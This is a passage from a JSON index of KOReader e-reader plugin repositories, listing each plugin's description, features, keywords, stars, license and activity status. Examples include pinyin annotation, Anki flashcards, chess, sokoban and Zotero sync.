越小越常用,与频率梯度一致;扩展区/生僻字亦已放开收录。","可调样式:拼音字号、颜色(黑/深灰);标注位置固定为汉字上方(不开放切换)。","自动重绘:翻页后自动重新标注;关闭时清除标注。"],"keywords":["pinyin","config","lua","rank","crash","epub","kindle","data","false","true","debug","diagnostics","docx","enable","gpl-3","html","level","show","unicode","crengine","7000","5500","4000","2500"],"topics":[],"stars":13,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-15T15:06:27Z","license":"GPL-3.0","default_branch":"main","has_meta":false,"readme_bytes":9278,"detail":"detail/zhouwt__pinyin.koplugin.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"Crossbill-App/crossbill-web","owner":"Crossbill-App","repo":"crossbill-web","url":"https://github.com/Crossbill-App/crossbill-web","description":"A self-hosted reading companion for highlights, flashcards and other reading tools","purpose":"A self-hosted reading companion web app for guiding your reading process into more active activity. Create summaries of chapters for skimming, manage and organize your highlights, create flash cards and create notes from them. Inspired by Mortimer J. Adler's How to read a Book's ideas on how to encourage more active…","categories":["dict","web","files","notes"],"features":["Sync highlights from KOReader with automatic deduplication","Organize highlights","Create flash cards from your highlights and sync them to Anki or get AI suggestions from highlights","Create AI summaries from epub book chapters for review and skimming. Ollama, OpenAI, Anthropic and Gemini supported","Create notes and link them to the highlights, chapters etc","Semantic search over highlights, notes and chapter summaries - find them by meaning instead of exact words, across books and…","Supporting features to reflect on the books you have read","Self-hosted - your data stays on your server","Multi-user support","Backend API: FastAPI server with PostgreSQL database"],"keywords":["anki-addon","books","ereader","koreader","koreader-plugin","obsidian-plugin","reading","self-hosted","webservice","companion","highlights","flashcards","other","tools","crossbill","overview","software","components","background","worker","semantic","search","optional","s3-compatible"],"topics":["anki-addon","books","ereader","koreader","koreader-plugin","obsidian-plugin","reading","self-hosted","webservice"],"stars":12,"forks":2,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T07:33:59Z","license":"MIT","default_branch":"main","has_meta":false,"readme_bytes":7053,"detail":"detail/Crossbill-App__crossbill-web.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"lgallard/anki-flashcards-koreader","owner":"lgallard","repo":"anki-flashcards-koreader","url":"https://github.com/lgallard/anki-flashcards-koreader","description":"A KOReader plugin that generates AI-powered Anki flashcards from highlighted text on your Kobo e-reader. Highlight a phrase, tap Anki Card, and get a full flashcard—definition, IPA, synonyms, cloze sentence, and an anime-style image—generated by Qwen and sent directly to Anki.","purpose":"A KOReader plugin that generates AI-powered Anki flashcards from highlighted text on your Kobo e-reader. Highlight a phrase, tap Anki Card, and get a full flashcard—definition, IPA, synonyms, cloze sentence, and an anime-style image—generated by AI and sent directly to Anki.","categories":["sync","dict","ai","reading","notes"],"features":["One-tap card generation — highlight any word, phrase, idiom, or phrasal verb and generate a complete Anki card in seconds","Context-aware definitions — the AI sees the surrounding sentence, so definitions reflect how the phrase is actually used","Multi-language support — generate cards in any language (English, Spanish, French, German, Japanese, etc.) with…","Full card content — canonical phrase (normalized to base form), pronunciation, definition, synonyms, cloze sentence, and…","My Cards — browse all saved cards on-device, filter by book, tap to review, hold to send or delete","Anki Manage — bulk send unsent cards, stats by book, batch import from all highlights in a book","AnkiConnect integration — send cards directly to Anki over Wi-Fi, synced to all your devices","Quick Lookup on purple highlights — tap any purple highlight to see a styled popup with IPA and definition (no full card needed).…"],"keywords":["koreader-plugin","generates","ai-powered","anki","flashcards","highlighted","text","kobo","e-reader","highlight","phrase","tap","card","full","flashcard","definition","ipa","synonyms","cloze","sentence","anime-style","image","generated","qwen"],"topics":["koreader-plugin"],"stars":12,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-07-22T02:17:26Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":12928,"detail":"detail/lgallard__anki-flashcards-koreader.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"omer-faruq/chess.koplugin","owner":"omer-faruq","repo":"chess.koplugin","url":"https://github.com/omer-faruq/chess.koplugin","description":"Chess plugin for Koreader","purpose":"Kochess is a simple yet functional chess application designed for your device. It allows you to play against a UCI chess engine (like Stockfish), load and save games in PGN format, and review past moves.","categories":["ui","notes","games"],"features":["From the Main Menu of your device, navigate to the Tools section","Select \"Chess Game\" to start Kochess","Plugin installation: Copy the Kochess plugin directory into your KOReader installation. The plugin directory name is…","Generic: koreader/plugins/chess.koplugin","Kobo: /mnt/onboard/.adds/koreader/plugins/chess.koplugin","Kindle: /mnt/us/koreader/plugins/chess.koplugin","Icons: Chess piece icons are bundled with the plugin under chess.koplugin/icons/chess. On first start, Kochess automatically…","Games: Your saved game files (PGN) can be stored in any convenient location on your device","Engine (optional): To play against the computer, copy a UCI-compatible engine binary (for example Stockfish) into the plugin's…","koreader/plugins/chess.koplugin/bin/stockfish"],"keywords":["game","koreader-plugin","chess","kochess","manual","getting","started","launching","interface","overview","playing","making","move","human","player","pawn","promotion","engine","turn","state","controls","timers","pgn","log"],"topics":["game","koreader-plugin"],"stars":12,"forks":1,"is_fork":true,"archived":false,"pushed_at":"2025-12-20T20:13:07Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":9187,"detail":"detail/omer-faruq__chess.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"omer-faruq/slidepuzzle.koplugin","owner":"omer-faruq","repo":"slidepuzzle.koplugin","url":"https://github.com/omer-faruq/slidepuzzle.koplugin","description":"A minimal classic sliding-tile puzzle that runs inside KOReader.","purpose":"A minimal classic sliding-tile puzzle that runs inside KOReader. four directions to slide the tile on the opposite side of the gap. flip the menu switch to always start a fresh puzzle on open. starting from the solved state. so you can tell at a glance which pieces are already in their final home without needing…","categories":["ui","dict","files","games"],"features":["Board sizes from 3×3 up to 7×7 (3×3, 4×4, 5×5, 6×6, 7×7)","Tap a tile next to the gap to slide it, or swipe in any of the","Move counter and live timer in the header","Best time and fewest moves tracked separately per board size","Per-size auto-save: you can leave mid-puzzle and resume later, or","Puzzles are always solvable — generated by randomly sliding tiles","In-place tiles are drawn inverted (solid black with a white digit)","Full-screen UI with minimal chrome: flat rectangles, thick borders,","Built-in translations for English, Português, Español, Français,","Configurable font and font size for the digits on the tiles"],"keywords":["game","koreader-plugin","minimal","classic","sliding-tile","puzzle","runs","inside","slide","menu","options","in-game","buttons","controls","recap","storage","adding","language","credits","size","font","time","best","open"],"topics":["game","koreader-plugin"],"stars":12,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-04-26T17:45:34Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":5861,"detail":"detail/omer-faruq__slidepuzzle.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"reuerendo/pocketbook-db-calibre.koplugin","owner":"reuerendo","repo":"pocketbook-db-calibre.koplugin","url":"https://github.com/reuerendo/pocketbook-db-calibre.koplugin","description":"Module for the plugin calibre.koplugin to the KOreader application. The program adds information about books sent via the Smart Device App protocol of the Calibre application to the PocketBook device database. This eliminates the need to reboot the device to find books in the reader's built-in library.","purpose":"Module for the plugin calibre.koplugin to the KOreader application. The program adds information about books sent via the Smart Device App protocol of the Calibre application to the PocketBook device database. This eliminates the need to reboot the device to find books in the reader's built-in library.","categories":["library","device"],"features":[],"keywords":["calibre","epub","koreader","koreader-plugin","pocketbook","module","application","program","adds","information","about","books","sent","via","smart","device","app","protocol","database","eliminates","need","reboot","find","built-in"],"topics":["calibre","epub","koreader","koreader-plugin","pocketbook"],"stars":12,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-11-26T14:30:01Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1769,"detail":"detail/reuerendo__pocketbook-db-calibre.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"TnS-hun/KOkobo","owner":"TnS-hun","repo":"KOkobo","url":"https://github.com/TnS-hun/KOkobo","description":"Download your Kobo books and view your wishlist from KOReader.","purpose":"The KOkobo KOReader plugin allows you to download your purchased Kobo books and view your wishlist from KOReader. This means that you no longer have to transfer the books you want to read from your computer to your e-reader device.","categories":["ui","device","files"],"features":["book listing grouped by state (unread, read, all, archived), and option to sort by author, title or read date","viewing the wishlisted books from Kobo, and option to sort by author, title or wishlisting date","showing basic information about the books (short description, ISBN, language, publisher, publication date)","KOReader version 2025.08 or newer","a Kobo account","connect your e-reader to your computer with USB","disconnect the USB cable","make sure that Wi-Fi is enabled in KOReader. (Internet connection is required for synchronization and book downloading within the…","select Kobo books from the hamburger (☰) menu to start using the plugin","delete the kokobo.koplugin directory from KOReader's plugins directory on your e-reader. In case of Kobo e-readers it will be at…"],"keywords":["drm","ebook","epub","kobo","koreader","koreader-plugin","download","books","view","wishlist","requirements","faq","does","kokobo","require","device","protected","e-books","included","store","password","was","made","menu"],"topics":["drm","ebook","epub","kobo","koreader","koreader-plugin"],"stars":12,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2025-10-19T17:14:08Z","license":"Unlicense","default_branch":"main","has_meta":true,"readme_bytes":3638,"detail":"detail/TnS-hun__KOkobo.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Wolfazzo/KOReader-page-calculator","owner":"Wolfazzo","repo":"KOReader-page-calculator","url":"https://github.com/Wolfazzo/KOReader-page-calculator","description":"Add the print reference to calculate the number of pages. Directly in KOReader","purpose":"Add the print reference to calculate the number of pages. Directly in KOReader Install it in the KOReader plugins folder. Open the reader, open a book, and once you’re inside the book, open the menu and go to the wrench icon (More Tools), where you’ll see Page Calculator. In the pop-up, enter the page number you want…","categories":["misc"],"features":[],"keywords":["koreader-plugin","koreader-plugins","print","reference","calculate","number","pages","directly","koreader-page-calculator","instructions","page","open","book"],"topics":["koreader-plugin","koreader-plugins"],"stars":12,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-03-15T15:06:11Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":751,"detail":"detail/Wolfazzo__KOReader-page-calculator.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Craftwork2720/incognito.koplugin","owner":"Craftwork2720","repo":"incognito.koplugin","url":"https://github.com/Craftwork2720/incognito.koplugin","description":"KOReader incognito plugin","purpose":"A KOReader plugin that lets you open a book without leaving any trace. When you open a book via Open Incognito:","categories":["misc"],"features":["no history","no statistics","no progress saved","no document settings saved or modified","no highlights or notes saved or modified","no .sdr sidecar folders created or modified"],"keywords":["koreader","koreader-plugin","incognito","does","compatibility","open","book","modified","saved","history","statistics","progress","document","settings","highlights","notes","sdr","sidecar","folders","created"],"topics":["koreader","koreader-plugin"],"stars":11,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-05-02T19:49:12Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1064,"detail":"detail/Craftwork2720__incognito.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"jarlt/zotero.koplugin","owner":"jarlt","repo":"zotero.koplugin","url":"https://github.com/jarlt/zotero.koplugin","description":"Display Zotero collection on E-Readers with KOReader","purpose":"This addon for KOReader allows you to view your Zotero collections. This plugin adds a 'Zotero' item to the search menu ('Top Menu -> Search (magnifying glass) -> Zotero'). Note that this might be 'hidden', as it often only appears on the 2nd page. The plugin keeps most of your Zotero library information on your…","categories":["sync","library"],"features":["Synchronization via Zotero Web API","Display main bibliographical information for items","Open attached PDF/EPUB/HTML files","Sync 'simple' annotations from Zotero to KOReader and the other way around (see limitations section)","Automatically download items of selected collections at sync time","Supports WebDAV storage backend","Search entries by the title of the publication or name of the first author","Browse library by 'tag' or 'author' lists","The plugin will sync annotations both ways. It supports deletions but changes (i.e., enlarging or modifying an annotation) are…","Syncing of annotations requires opening the file from Zotero browse, opening it from recents will not sync annotations.…"],"keywords":["display","zotero","collection","e-readers","limitations","guide","browse","synchronize","maintenance","settings","about","info","configuration","webdav","manual","misc","items","annotations","item","library","local","file","files","only"],"topics":[],"stars":11,"forks":6,"is_fork":true,"archived":false,"pushed_at":"2026-05-24T21:21:18Z","license":"GPL-3.0","default_branch":"master","has_meta":true,"readme_bytes":7873,"detail":"detail/jarlt__zotero.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"kbarni/sokoban.koplugin","owner":"kbarni","repo":"sokoban.koplugin","url":"https://github.com/kbarni/sokoban.koplugin","description":"Sokoban game for Koreader","purpose":"A port of the Sokoban puzzle game (from 1981) for KOReader. Comes with the following level sets: WARNING! Extremely addictive!","categories":["files","games"],"features":["Original+Extra levels (97 levels) by Thinking Rabbit: the level set from the original Sokoban game (link)","Microban (155 levels) by David W. Skinner: a beginner-friendly level set (link)","Sasquatch (50 levels) by David W. Skinner (link)","Microcosmos (36 levels) by Aymeric du Peloux (link)","Minicosmos (40 levels) by Aymeric du Peloux (link)","Open the Tools menu → Sokoban","Choose a level set — tap its name to switch (resets to level 1 of that set)","Navigate levels with the ◀ / ▶ buttons","Tap Play to start","Original game by Hiroyuki Imabayashi (Thinking Rabbit)"],"keywords":["game","koreader-plugin","puzzle-game","sokoban","playing","level","select","adding","sets","converting","txt","files","credits","levels","move","link","fast","player","push","target","aymeric","boxes","button","david"],"topics":["game","koreader-plugin","puzzle-game"],"stars":11,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-07-06T16:01:54Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":3918,"detail":"detail/kbarni__sokoban.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"LK4D4/suwayomi.koplugin","owner":"LK4D4","repo":"suwayomi.koplugin","url":"https://github.com/LK4D4/suwayomi.koplugin","description":"Suwayomi client for KOReader: browse your server, manage sources, sync read state, and download local CBZ chapters.","purpose":"Browse a self-hosted Suwayomi server from KOReader, install or update source extensions, download manga chapters as local CBZ files, and read them with KOReader's normal reader.","categories":["sync","files","content"],"features":["KOReader on your device","A Suwayomi server reachable from that device","Basic Auth credentials if your Suwayomi server uses login protection","In KOReader, open Tools > App Store","Search for suwayomi.koplugin or LK4D4/suwayomi.koplugin","Confirm the final path is exactly one plugin folder deep. KOReader discovers the plugin from that folder name","Confirm the folder contains _meta.lua, main.lua, suwayomi/, and compiled l10n/ catalogs when the release includes translations","Open KOReader's top menu","Go to Search and tap Suwayomi","Enter your Suwayomi server URL, username, and password"],"keywords":["koreader-plugin","koreader","manga","manga-downloader","suwayomi","client","browse","server","manage","sources","sync","read","state","download","local","cbz","chapters","need","recommended","app","store","manual","first","run"],"topics":["koreader-plugin","koreader","manga","manga-downloader"],"stars":11,"forks":2,"is_fork":false,"archived":false,"pushed_at":"2026-05-31T17:21:10Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":5608,"detail":"detail/LK4D4__suwayomi.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"nefelodamon/KoCharacters","owner":"nefelodamon","repo":"KoCharacters","url":"https://github.com/nefelodamon/KoCharacters","description":"","purpose":"Automatically extract, track, and enrich character profiles from your books using the Google Gemini AI API (free tier). Generate AI portraits using Google Imagen. Runs on KOReader on Kindle and other supported devices.","categories":["ui","ai","files","reading"],"features":["Go to aistudio.google.com and sign in with your Google account","Click \"Get API key\" in the left sidebar","Click \"Create API key\" — choose \"Create API key in new project\"","No credit card required — free tier gives 500 requests/day and 1M tokens/day","Open any book, tap the menu → KoCharacters → Settings... → AI Settings","Paste your Gemini Character Extraction key","Optionally paste your Gemini Image Generation key to enable portrait generation","The plugin reads the current page text by parsing the epub directly via unzip — this is the most reliable method on the supported…","It loads all already-known characters for this book from the local JSON database","Known characters whose name or alias appears in the page text are passed to Gemini as full profiles to update; the rest are…"],"keywords":["koreader-plugin","koreader-plugins","kocharacters","api","keys","gemini","character","extraction","free","imagen","portrait","generation","paid","menu","overview","detail","screen","works","book","context","auto-built","incremental","enrichment","duplicate"],"topics":["koreader-plugin","koreader-plugins"],"stars":11,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-03-23T21:21:32Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":15463,"detail":"detail/nefelodamon__KoCharacters.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"nojux-official/HighlightImport.koplugin","owner":"nojux-official","repo":"HighlightImport.koplugin","url":"https://github.com/nojux-official/HighlightImport.koplugin","description":"A KoReader plugin allowing to import highlights from various formats","purpose":"Import your Kindle highlights from \"My Clippings.txt\" directly into KOReader. The plugin should work on any platform that supports KOReader, including:","categories":["ui","files","notes"],"features":["Import highlights from Kindle's \"My Clippings.txt\" file","Automatic text matching and highlight creation","Support for multi-line highlights","OS: KDE neon User Edition 24.04 (Noble)","KOReader: v2025.08","Linux Desktop","E-ink readers (Kindle, Kobo, etc.)","Android devices","Other supported platforms","Locate your KOReader plugins directory"],"keywords":["allowing","import","highlights","various","formats","highlightimport","tested","platforms","method","manual","recommended","download","zip","step","prepare","open","book","access","menu","select","clippings","file","view","important"],"topics":[],"stars":11,"forks":3,"is_fork":false,"archived":false,"pushed_at":"2026-05-01T11:50:32Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":4988,"detail":"detail/nojux-official__HighlightImport.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"rameezk/rebind.koplugin","owner":"rameezk","repo":"rebind.koplugin","url":"https://github.com/rameezk/rebind.koplugin","description":"Update an EPUB's embedded metadata from Hardcover, entirely on-device in KOReader.","purpose":"Fix your EPUBs' embedded metadata from Hardcover, or by typing it yourself, entirely on your KOReader device. Long-press a book, review the current vs. proposed values side by side, pick the right edition, pick what to keep, edit any field by hand or pull the book up in another language, and Rebind rewrites the file…","categories":["dict","library","reading"],"features":["Enable Rebind (menu → gear → Plugin management)","File browser: long-press an EPUB → Rebind. This works in KOReader's stock","While reading: top menu → Tools → Rebind (it sits at the top of Tools)","Gesture: bind the \"Rebind current book\" action to any gesture or tap-zone","From the match list: tap Editions next to any result to see that book's","From the metadata picker: the Edition: button under the header shows the","No match: Rebind offers to let you edit the metadata yourself","Wrong matches: the match list carries a None of these, edit myself option","Lookup failed (no network, API error): choose Retry or Edit myself","Hardcover plugin missing or unconfigured: Rebind says what to install and offers"],"keywords":["koreader","koreader-plugin","update","epub","embedded","metadata","hardcover","entirely","on-device","rebind","useful","quick","tour","launching","choosing","edition","picker","getting","book","another","language","sorting","folders","safety"],"topics":["koreader","koreader-plugin"],"stars":11,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-31T11:10:24Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":16304,"detail":"detail/rameezk__rebind.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Sirozha1337/fastdictlookup.koplugin","owner":"Sirozha1337","repo":"fastdictlookup.koplugin","url":"https://github.com/Sirozha1337/fastdictlookup.koplugin","description":"KOReader plugin that mimicks Kindle default behaviour: typewriter cursor that lookups words instantly","purpose":"A KOReader plugin for fast dictionary lookup that mimics Kindle default dictionary behavior: You can use UpdatesManager plugin to update this plugin from KOReader directly.","categories":["dict","device"],"features":["move typewriter-like cursor with arrow buttons","instantly see word definition","moving a cursor over a footnote link, immediately displays its content","highlighting mode: press button to start highlighting, press again to open context menu and save your notes","koreader/plugins/fastdictlookup.koplugin","Make sure the folder contains","_meta.lua","main.lua","fastlookupwidget.lua","stardictlookup.lua"],"keywords":["koreader","koreader-kindle","koreader-plugin","koreader-plugins","koreader-dictionary","mimicks","kindle","default","behaviour","typewriter","cursor","lookups","words","instantly","fast","dictionary","lookup","fastdictlookup","versions","compatibility","enabling","requirements","further","work"],"topics":["koreader","koreader-kindle","koreader-plugin","koreader-plugins","koreader-dictionary"],"stars":11,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-07-27T10:12:53Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":4313,"detail":"detail/Sirozha1337__fastdictlookup.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"tachibana-shin/crop_enhancer.koplugin","owner":"tachibana-shin","repo":"crop_enhancer.koplugin","url":"https://github.com/tachibana-shin/crop_enhancer.koplugin","description":"Replaces KOReader's built-in page auto-crop algorithm with leptonica connected-component analysis. Better at ignoring thin borders, page-edge noise, and scan artifacts that fool the original pixel-counting approach","purpose":"Replaces KOReader's built-in page auto-crop algorithm with leptonica connected-component analysis. Better at ignoring thin borders, page-edge noise, and scan artifacts that fool the original pixel-counting approach.","categories":["device","reading"],"features":["Enhanced auto-crop — leptonica connected-component analysis replaces the default k2pdfopt_crop_bmp pipeline. Detects content…","Panel zoom — overrides getPanelFromPage with the same leptonica pipeline, finding the specific panel at the touch position","Configurable — threshold, border width, minimum content area, and margin are all adjustable via the bottom toolbar or Settings…","Dispatcher actions — all settings are available as Dispatcher actions for key/gesture binding","i18n — English, Vietnamese, Japanese, Simplified Chinese, Traditional Chinese","KOReader (tested on Kindle PW3)","Leptonica (bundled with KOReader)"],"keywords":["koreader","koreader-kindle","koreader-plugin","koreader-plugins","replaces","built-in","page","auto-crop","algorithm","leptonica","connected-component","analysis","better","ignoring","thin","borders","page-edge","noise","scan","artifacts","fool","original","pixel-counting","approach"],"topics":["koreader","koreader-kindle","koreader-plugin","koreader-plugins"],"stars":11,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-27T04:28:33Z","license":"MPL-2.0","default_branch":"main","has_meta":true,"readme_bytes":3614,"detail":"detail/tachibana-shin__crop_enhancer.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"THE-XSX/readingfolio.koplugin","owner":"THE-XSX","repo":"readingfolio.koplugin","url":"https://github.com/THE-XSX/readingfolio.koplugin","description":"“阅笺”（Reading Folio）是标准 KOReader 插件，可将当前书籍封面、阅读进度、 累计/今日阅读时长、章节进度以及书摘批注编排成可实时预览、并支持用作休眠屏保的阅读画面。","purpose":"中文说明 · English 灵感来源：由 Reddit 用户 hundredpercentcocoa 创建的 `2-book-receipt-shortcut-and-lockscreen.lua`。 Inspired by `2-book-receipt-shortcut-and-lockscreen.lua` created by Reddit user hundredpercentcocoa.","categories":["misc"],"features":["15 种精致内置风格与随机选择：涵盖瑞士网格、黑底终端、复古票根、海报、藏书邮票、阅读邮笺、构成主义、日式留白及梅兰竹菊等多种排版主题，并支持置于最后的「随机风格」选项。","休眠屏保与动态转屏：一键设为休眠屏保。对于横屏构图样式（如“藏书邮票”和“阅读邮笺”），作为屏保时会自动切换为横屏，唤醒后恢复原阅读方向。","即时预览与极速调参 (Live Preview)：菜单所有单选/开关/字号调参均支持保持菜单打开（keep_menu_open），并在修改瞬间自动更新背景预览，无需重复进出菜单。","高度自由的卡片定制：支持卡片宽高比例（默认/全屏/0.30–1.00自定义）、边框粗细、背景色、卡片阴影、大/中/小字号偏移（-20 至 +20）及封面缩放（0-100%）。","15 项数据条目显显开关：可单独勾选显示/隐藏书名、作者、封面、章节、页码、阅读百分比、进度条、本章/全书剩余时间、累计/今日阅读时间、电量、时钟、书摘及自定义文字。","自定义布局编辑器：选择「自定义布局」后进入全屏实时编辑界面，可选择白/灰/黑/透明或图片壁纸，为图片设置 25%–100% 透明度并与下层阅读画面合成，增删项目，并对选中项目进行四向移动、50%–200%…","手势预览时钟局刷：自定义布局可选择静态时钟或每分钟更新；分钟变化时只重绘时钟区域，可选 UI/快速局刷波形，并可按 10/30/60 分钟周期执行全刷；关闭预览后自动取消定时任务。","Folio Scenes 联动：可跟随 Type Folio 2.4+ 的每书场景，在预览和休眠时临时切换为静读、研读、编辑或章节聚焦构图，不覆盖原有阅笺风格与内容设置。","安装方法：将 readingfolio.koplugin 复制到 KOReader 的 plugins/ 目录下并重启 KOReader。在阅读界面顶部菜单栏 “工具 (Tools)” 中即可找到 “阅笺”。"],"keywords":["reading","folio","acknowledgements","settings","style","contract","english","core","changelog","2026-08-08","2026-08-07","2026-08-06","2026-07-27","custom","type","preview","cover","clock","card","gray","image","live","mode","refresh"],"topics":[],"stars":11,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-11T09:06:25Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":16327,"detail":"detail/THE-XSX__readingfolio.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"zhouwt/englishannot.koplugin","owner":"zhouwt","repo":"englishannot.koplugin","url":"https://github.com/zhouwt/englishannot.koplugin","description":"KOReader 英文单词中文标注插件","purpose":"截图由作者在真机（Kindle / 安卓 KOReader）上实测： 词汇本联动 长按单词，添加天词汇本 加入后自己标注 代码暂未公开。 保留所有权利。 未经作者书面授权，任何人不得复制、分发、修改本插件代码，或将其用于任何商业用途。","categories":["misc"],"features":["英文书页内自动识别生词，叠加中文释义（上方 / 下方可切换）","可选词库：常用全量 / GRE / CET4 / CET6 / TOEFL / IELTS","难度等级分级（越生僻越标，常用词默认不标）","词汇本联动：加入 KOReader 词汇本的词自动标注中文，加入即标，无需导出文件","下划线标识中文与单词的对应关系"],"keywords":["englishannot","kindle","ecdict","skywind3000","gre","cet4","cet6","toefl","ielts"],"topics":[],"stars":11,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-14T06:12:36Z","license":null,"default_branch":"main","has_meta":false,"readme_bytes":1642,"detail":"detail/zhouwt__englishannot.koplugin.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"fairlygood/omnivore.koplugin","owner":"fairlygood","repo":"omnivore.koplugin","url":"https://github.com/fairlygood/omnivore.koplugin","description":"A simple plugin for KOReader to download articles from Omnivore as html files","purpose":"A simple plugin to fetch articles from Omnivore via the API. The script downloads articles as HTML, converting and embedding images as Base64 so that you can view them offline.","categories":["web","files"],"features":[],"keywords":["ereader","koreader","koreader-plugin","lua","omnivore","omnivore-api","simple","download","articles","html","files","directory"],"topics":["ereader","koreader","koreader-plugin","lua","omnivore","omnivore-api"],"stars":10,"forks":1,"is_fork":false,"archived":true,"pushed_at":"2024-10-14T15:46:55Z","license":"MIT","default_branch":"drafts","has_meta":true,"readme_bytes":458,"detail":"detail/fairlygood__omnivore.koplugin.json","activity":"archived","tier":"C","tier_reasons":["has_meta","archived","archived","documented"]},{"id":"kaikozlov/kindle.koplugin","owner":"kaikozlov","repo":"kindle.koplugin","url":"https://github.com/kaikozlov/kindle.koplugin","description":"Kindle plugin for KOReader - read your Kindle's library in KOReader","purpose":"A KOReader plugin that lets you browse and read your Kindle book library directly in KOReader. Your books appear in a Kindle Library folder in the file browser — just tap to read.","categories":["library","device"],"features":["Native Kindle Library — A Kindle Library entry opens a KOReader BookList; documents themselves always use real source/cache paths","Exact Reading State Sync — Switch between KOReader and the native Kindle reader at the same text position, in either direction","Cached for Speed — Books are prepared on first open and cached, so re-opening is instant","Kindle: /mnt/us/koreader/plugins/","Open the file browser and tap Kindle Library","Browse your books and tap to read","The first open takes a moment while the book is prepared — after that, it opens instantly","Go to Menu → Kindle Library → Sync reading state with Kindle to enable","Under Sync behavior, enable automatic open/close sync and choose the","Exact reading position syncs whether the book is opened from Kindle Library,"],"keywords":["kindle","kindle-books","koreader","koreader-plugin","koreader-plugins","read","library","virtual","compatibility","building","source","exact","after","sync","book","native","both","coordinate","reading","cached","firmware","only","open","percentage"],"topics":["kindle","kindle-books","koreader","koreader-plugin","koreader-plugins"],"stars":10,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-08-17T01:29:26Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":5516,"detail":"detail/kaikozlov__kindle.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"matthewashton-k/todo-koplugin","owner":"matthewashton-k","repo":"todo-koplugin","url":"https://github.com/matthewashton-k/todo-koplugin","description":"a koreader plugin todo app","purpose":"I wanted a simple todo list app for my kindle so I made this. *...why is writing koreader plugins so hard?...*","categories":["misc"],"features":["Persistant","Google Tasks integration (via my kindle server project)","Questionable memory management"],"keywords":["todo","app","to-do","kindle","persistant","google","tasks","integration","via","server","project","questionable","memory","management"],"topics":[],"stars":10,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-03-20T04:44:48Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":313,"detail":"detail/matthewashton-k__todo-koplugin.json","activity":"dormant","tier":"B","tier_reasons":["has_meta","settled","documented"]},{"id":"roygbyte/gazette.koplugin","owner":"roygbyte","repo":"gazette.koplugin","url":"https://github.com/roygbyte/gazette.koplugin","description":"RSS/Atom feed reader for KOReader","purpose":"Atom/RSS feed reader for KOReader. Development has now moved to this pull request.","categories":["web"],"features":[],"keywords":["rss","atom","feed","gazette"],"topics":[],"stars":10,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2022-11-13T13:20:56Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":179,"detail":"detail/roygbyte__gazette.koplugin.json","activity":"dormant","tier":"C","tier_reasons":["has_meta","dormant","stub"]},{"id":"tachibana-shin/smartdelete.koplugin","owner":"tachibana-shin","repo":"smartdelete.koplugin","url":"https://github.com/tachibana-shin/smartdelete.koplugin","description":"SmartDelete is a KOReader plugin that enhances file deletion safety by prompting users before deleting files, with special attention to book data such as bookmarks and reading history.","purpose":"SmartDelete is a KOReader plugin that enhances file deletion safety by prompting users before deleting files, with special attention to book data such as bookmarks and reading history.","categories":["web","files"],"features":["Overrides the default file deletion dialog in KOReader's File Manager","Warns users when deleting files that have associated book data (settings, highlights, notes)","Offers an additional \"Delete Only\" option for files, allowing users to remove just the file while keeping other information intact","Localized messages (English, Vietnamese, Japanese)","Open KOReader's File Manager","Attempt to delete a file","The SmartDelete 